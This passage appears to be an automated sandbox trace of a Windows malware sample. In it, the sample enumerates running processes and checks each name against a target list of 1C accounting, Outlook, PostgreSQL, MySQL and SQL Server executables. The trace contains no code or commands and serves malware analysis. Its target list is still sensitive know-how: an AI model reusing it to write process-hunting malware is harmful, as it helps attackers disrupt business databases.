dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.060] lstrlenW (lpString="svchost.exe") returned 11 [0093.060] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0093.060] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0093.060] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0093.060] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0093.060] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0093.061] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0093.061] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0093.061] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.061] lstrlenW (lpString="svchost.exe") returned 11 [0093.061] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0093.061] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0093.061] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0093.062] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0093.062] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0093.062] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0093.062] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0093.062] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0093.062] lstrlenW (lpString="audiodg.exe") returned 11 [0093.062] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0093.062] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0093.062] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0093.062] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0093.063] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0093.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0093.063] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0093.063] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.063] lstrlenW (lpString="svchost.exe") returned 11 [0093.063] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0093.063] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0093.063] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0093.063] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0093.063] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0093.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0093.064] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0093.064] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.064] lstrlenW (lpString="svchost.exe") returned 11 [0093.064] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0093.064] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0093.064] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0093.064] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0093.064] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0093.064] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0093.064] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0093.065] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0093.065] lstrlenW (lpString="dwm.exe") returned 7 [0093.065] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0093.065] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0093.066] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0093.066] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0093.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0093.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0093.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0093.066] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0093.066] lstrlenW (lpString="explorer.exe") returned 12 [0093.066] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0093.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0093.067] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0093.067] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0093.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0093.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0093.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0093.067] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0093.067] lstrlenW (lpString="spoolsv.exe") returned 11 [0093.067] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0093.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0093.068] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0093.068] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0093.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0093.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0093.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0093.068] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.068] lstrlenW (lpString="svchost.exe") returned 11 [0093.068] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0093.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0093.069] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0093.069] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0093.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0093.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0093.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0093.069] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0093.070] lstrlenW (lpString="taskhost.exe") returned 12 [0093.070] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhost.exe") returned -1 [0093.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhost.exe") returned -1 [0093.070] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhost.exe") returned -1 [0093.070] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhost.exe") returned -1 [0093.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhost.exe") returned -1 [0093.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhost.exe") returned -1 [0093.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhost.exe") returned -1 [0093.070] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0093.071] lstrlenW (lpString="taskeng.exe") returned 11 [0093.071] lstrcmpiW (lpString1="1c8.exe", lpString2="taskeng.exe") returned -1 [0093.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskeng.exe") returned -1 [0093.071] lstrcmpiW (lpString1="outlook.exe", lpString2="taskeng.exe") returned -1 [0093.071] lstrcmpiW (lpString1="postgres.exe", lpString2="taskeng.exe") returned -1 [0093.071] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskeng.exe") returned -1 [0093.071] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskeng.exe") returned -1 [0093.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskeng.exe") returned -1 [0093.071] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0093.072] lstrlenW (lpString="developingthousands.exe") returned 23 [0093.072] lstrcmpiW (lpString1="1c8.exe", lpString2="developingthousands.exe") returned -1 [0093.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="developingthousands.exe") returned -1 [0093.072] lstrcmpiW (lpString1="outlook.exe", lpString2="developingthousands.exe") returned 1 [0093.072] lstrcmpiW (lpString1="postgres.exe", lpString2="developingthousands.exe") returned 1 [0093.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="developingthousands.exe") returned 1 [0093.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="developingthousands.exe") returned 1 [0093.072] lstrcmpiW (lpString1="sqlservr.exe", lpString2="developingthousands.exe") returned 1 [0093.072] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0093.073] lstrlenW (lpString="efattack.exe") returned 12 [0093.073] lstrcmpiW (lpString1="1c8.exe", lpString2="efattack.exe") returned -1 [0093.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="efattack.exe") returned -1 [0093.073] lstrcmpiW (lpString1="outlook.exe", lpString2="efattack.exe") returned 1 [0093.073] lstrcmpiW (lpString1="postgres.exe", lpString2="efattack.exe") returned 1 [0093.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="efattack.exe") returned 1 [0093.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="efattack.exe") returned 1 [0093.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="efattack.exe") returned 1 [0093.073] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0093.074] lstrlenW (lpString="feedback.exe") returned 12 [0093.074] lstrcmpiW (lpString1="1c8.exe", lpString2="feedback.exe") returned -1 [0093.074] lstrcmpiW (lpString1="1cv77.exe", lpString2="feedback.exe") returned -1 [0093.074] lstrcmpiW (lpString1="outlook.exe", lpString2="feedback.exe") returned 1 [0093.074] lstrcmpiW (lpString1="postgres.exe", lpString2="feedback.exe") returned 1 [0093.074] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="feedback.exe") returned 1 [0093.074] lstrcmpiW (lpString1="mysqld.exe", lpString2="feedback.exe") returned 1 [0093.074] lstrcmpiW (lpString1="sqlservr.exe", lpString2="feedback.exe") returned 1 [0093.074] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0093.075] lstrlenW (lpString="happy blond engage.exe") returned 22 [0093.075] lstrcmpiW (lpString1="1c8.exe", lpString2="happy blond engage.exe") returned -1 [0093.075] lstrcmpiW (lpString1="1cv77.exe", lpString2="happy blond engage.exe") returned -1 [0093.075] lstrcmpiW (lpString1="outlook.exe", lpString2="happy blond engage.exe") returned 1 [0093.075] lstrcmpiW (lpString1="postgres.exe", lpString2="happy blond engage.exe") returned 1 [0093.075] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="happy blond engage.exe") returned 1 [0093.075] lstrcmpiW (lpString1="mysqld.exe", lpString2="happy blond engage.exe") returned 1 [0093.075] lstrcmpiW (lpString1="sqlservr.exe", lpString2="happy blond engage.exe") returned 1 [0093.075] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0093.076] lstrlenW (lpString="controller_type.exe") returned 19 [0093.076] lstrcmpiW (lpString1="1c8.exe", lpString2="controller_type.exe") returned -1 [0093.076] lstrcmpiW (lpString1="1cv77.exe", lpString2="controller_type.exe") returned -1 [0093.076] lstrcmpiW (lpString1="outlook.exe", lpString2="controller_type.exe") returned 1 [0093.076] lstrcmpiW (lpString1="postgres.exe", lpString2="controller_type.exe") returned 1 [0093.077] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="controller_type.exe") returned 1 [0093.077] lstrcmpiW (lpString1="mysqld.exe", lpString2="controller_type.exe") returned 1 [0093.077] lstrcmpiW (lpString1="sqlservr.exe", lpString2="controller_type.exe") returned 1 [0093.077] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0093.077] lstrlenW (lpString="donations_berry.exe") returned 19 [0093.077] lstrcmpiW (lpString1="1c8.exe", lpString2="donations_berry.exe") returned -1 [0093.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="donations_berry.exe") returned -1 [0093.078] lstrcmpiW (lpString1="outlook.exe", lpString2="donations_berry.exe") returned 1 [0093.078] lstrcmpiW (lpString1="postgres.exe", lpString2="donations_berry.exe") returned 1 [0093.078] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="donations_berry.exe") returned 1 [0093.078] lstrcmpiW (lpString1="mysqld.exe", lpString2="donations_berry.exe") returned 1 [0093.078] lstrcmpiW (lpString1="sqlservr.exe", lpString2="donations_berry.exe") returned 1 [0093.078] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0093.079] lstrlenW (lpString="lindsay.exe") returned 11 [0093.079] lstrcmpiW (lpString1="1c8.exe", lpString2="lindsay.exe") returned -1 [0093.079] lstrcmpiW (lpString1="1cv77.exe", lpString2="lindsay.exe") returned -1 [0093.079] lstrcmpiW (lpString1="outlook.exe", lpString2="lindsay.exe") returned 1 [0093.079] lstrcmpiW (lpString1="postgres.exe", lpString2="lindsay.exe") returned 1 [0093.079] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lindsay.exe") returned 1 [0093.079] lstrcmpiW (lpString1="mysqld.exe", lpString2="lindsay.exe") returned 1 [0093.079] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lindsay.exe") returned 1 [0093.079] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0093.080] lstrlenW (lpString="columnists.exe") returned 14 [0093.080] lstrcmpiW (lpString1="1c8.exe", lpString2="columnists.exe") returned -1 [0093.080] lstrcmpiW (lpString1="1cv77.exe", lpString2="columnists.exe") returned -1 [0093.080] lstrcmpiW (lpString1="outlook.exe", lpString2="columnists.exe") returned 1 [0093.080] lstrcmpiW (lpString1="postgres.exe", lpString2="columnists.exe") returned 1 [0093.080] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="columnists.exe") returned 1 [0093.080] lstrcmpiW (lpString1="mysqld.exe", lpString2="columnists.exe") returned 1 [0093.080] lstrcmpiW (lpString1="sqlservr.exe", lpString2="columnists.exe") returned 1 [0093.080] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0093.081] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0093.081] lstrcmpiW (lpString1="1c8.exe", lpString2="expected_converter_behind.exe") returned -1 [0093.081] lstrcmpiW (lpString1="1cv77.exe", lpString2="expected_converter_behind.exe") returned -1 [0093.081] lstrcmpiW (lpString1="outlook.exe", lpString2="expected_converter_behind.exe") returned 1 [0093.081] lstrcmpiW (lpString1="postgres.exe", lpString2="expected_converter_behind.exe") returned 1 [0093.081] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="expected_converter_behind.exe") returned 1 [0093.081] lstrcmpiW (lpString1="mysqld.exe", lpString2="expected_converter_behind.exe") returned 1 [0093.081] lstrcmpiW (lpString1="sqlservr.exe", lpString2="expected_converter_behind.exe") returned 1 [0093.081] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0093.082] lstrlenW (lpString="chose.exe") returned 9 [0093.082] lstrcmpiW (lpString1="1c8.exe", lpString2="chose.exe") returned -1 [0093.082] lstrcmpiW (lpString1="1cv77.exe", lpString2="chose.exe") returned -1 [0093.082] lstrcmpiW (lpString1="outlook.exe", lpString2="chose.exe") returned 1 [0093.082] lstrcmpiW (lpString1="postgres.exe", lpString2="chose.exe") returned 1 [0093.082] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="chose.exe") returned 1 [0093.082] lstrcmpiW (lpString1="mysqld.exe", lpString2="chose.exe") returned 1 [0093.082] lstrcmpiW (lpString1="sqlservr.exe", lpString2="chose.exe") returned 1 [0093.082] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0093.083] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0093.083] lstrcmpiW (lpString1="1c8.exe", lpString2="disciplinary_became.exe") returned -1 [0093.083] lstrcmpiW (lpString1="1cv77.exe", lpString2="disciplinary_became.exe") returned -1 [0093.083] lstrcmpiW (lpString1="outlook.exe", lpString2="disciplinary_became.exe") returned 1 [0093.083] lstrcmpiW (lpString1="postgres.exe", lpString2="disciplinary_became.exe") returned 1 [0093.083] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="disciplinary_became.exe") returned 1 [0093.083] lstrcmpiW (lpString1="mysqld.exe", lpString2="disciplinary_became.exe") returned 1 [0093.083] lstrcmpiW (lpString1="sqlservr.exe", lpString2="disciplinary_became.exe") returned 1 [0093.083] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0093.084] lstrlenW (lpString="methods.exe") returned 11 [0093.084] lstrcmpiW (lpString1="1c8.exe", lpString2="methods.exe") returned -1 [0093.084] lstrcmpiW (lpString1="1cv77.exe", lpString2="methods.exe") returned -1 [0093.084] lstrcmpiW (lpString1="outlook.exe", lpString2="methods.exe") returned 1 [0093.084] lstrcmpiW (lpString1="postgres.exe", lpString2="methods.exe") returned 1 [0093.084] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="methods.exe") returned 1 [0093.084] lstrcmpiW (lpString1="mysqld.exe", lpString2="methods.exe") returned 1 [0093.084] lstrcmpiW (lpString1="sqlservr.exe", lpString2="methods.exe") returned 1 [0093.084] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0093.469] lstrlenW (lpString="circulation.exe") returned 15 [0093.469] lstrcmpiW (lpString1="1c8.exe", lpString2="circulation.exe") returned -1 [0093.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="circulation.exe") returned -1 [0093.474] lstrcmpiW (lpString1="outlook.exe", lpString2="circulation.exe") returned 1 [0093.474] lstrcmpiW (lpString1="postgres.exe", lpString2="circulation.exe") returned 1 [0093.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="circulation.exe") returned 1 [0093.476] lstrcmpiW (lpString1="mysqld.exe", lpString2="circulation.exe") returned 1 [0093.476] lstrcmpiW (lpString1="sqlservr.exe", lpString2="circulation.exe") returned 1 [0093.476] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0093.487] lstrlenW (lpString="suited.exe") returned 10 [0093.487] lstrcmpiW (lpString1="1c8.exe", lpString2="suited.exe") returned -1 [0093.487] lstrcmpiW (lpString1="1cv77.exe", lpString2="suited.exe") returned -1 [0093.487] lstrcmpiW (lpString1="outlook.exe", lpString2="suited.exe") returned -1 [0093.487] lstrcmpiW (lpString1="postgres.exe", lpString2="suited.exe") returned -1 [0093.488] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0093.489] lstrlenW (lpString="infrastructure.exe") returned 18 [0093.489] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0093.489] lstrlenW (lpString="manager_olympic.exe") returned 19 [0093.489] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0093.490] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0093.490] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0093.493] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0093.493] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0093.494] lstrlenW (lpString="3dftp.exe") returned 9 [0093.494] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0093.495] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0093.495] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0093.495] lstrlenW (lpString="alftp.exe") returned 9 [0093.495] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0093.496] lstrlenW (lpString="barca.exe") returned 9 [0093.496] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0093.496] lstrlenW (lpString="bitkinex.exe") returned 12 [0093.496] Process32NextW (in: hSnapshot=0x204, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 